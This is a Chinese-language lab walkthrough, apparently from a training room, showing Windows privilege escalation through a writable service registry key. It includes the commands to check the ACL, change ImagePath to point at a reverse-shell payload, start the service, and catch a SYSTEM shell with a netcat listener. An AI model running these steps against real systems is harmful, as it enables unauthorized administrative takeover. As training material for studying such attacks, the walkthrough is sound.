在Windows中,每一个服务都有一个注册键,而且这些注册键位于:
HKLM\\SYSTEM\\CurrentControlSet\\Services\\<service_name>
查询"regsvc"服务看看有没有运行系统的权限(SERVICE_START_NAME) .
C:\\Users\\user\\Desktop>sc qc regsvc
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\\Program Files\\Insecure Registry Service\\insecureregistryservice.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Insecure Registry Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\\Users\\user\\Desktop>
使用accesschk.exe查看能利用的注册表:
C:\\PrivEsc\\accesschk.exe /accepteula -uvwqk HKLM\\System\\CurrentControlSet\\Services\\regsvc
也可以用以下命令来确认
Get-Acl HKLM:\\System\\CurrentControlSet\\Services\\regsvc | Format-List
运行结果
C:\\Users\\user\\Desktop>C:\\PrivEsc\\accesschk.exe /accepteula -uvwqk HKLM\\System\\CurrentControlSet\\Services\\regsvc
执行后↓
C:\\PrivEsc\\accesschk.exe /accepteula -uvwqk HKLM\\System\\CurrentControlSet\\Services\\regsvc
**HKLM\\System\\CurrentControlSet\\Services\\regsvc**
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\\SYSTEM
KEY_ALL_ACCESS
RW BUILTIN\\Administrators
KEY_ALL_ACCESS
RW NT AUTHORITY\\INTERACTIVE
KEY_ALL_ACCESS
C:\\Users\\user\\Desktop>
尝试利用HKLM\\System\\CurrentControlSet\\Services\\regsvc
修改注册表ImagePath的值为payload所在的位置
reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\\Users\\user\\Desktop\\reverse.exe /f
然后在攻击机监听shell端口,再启动服务触发漏洞,就会反弹shell并继承该执行的权限
net start regsvc
反弹shell
root@ip-10-10-25-36:~/Desktop# nc -lvnp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 10.10.52.162 49914 received!
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\\Windows\\system32>whoami
whoami
nt authority\\system
C:\\Windows\\system32>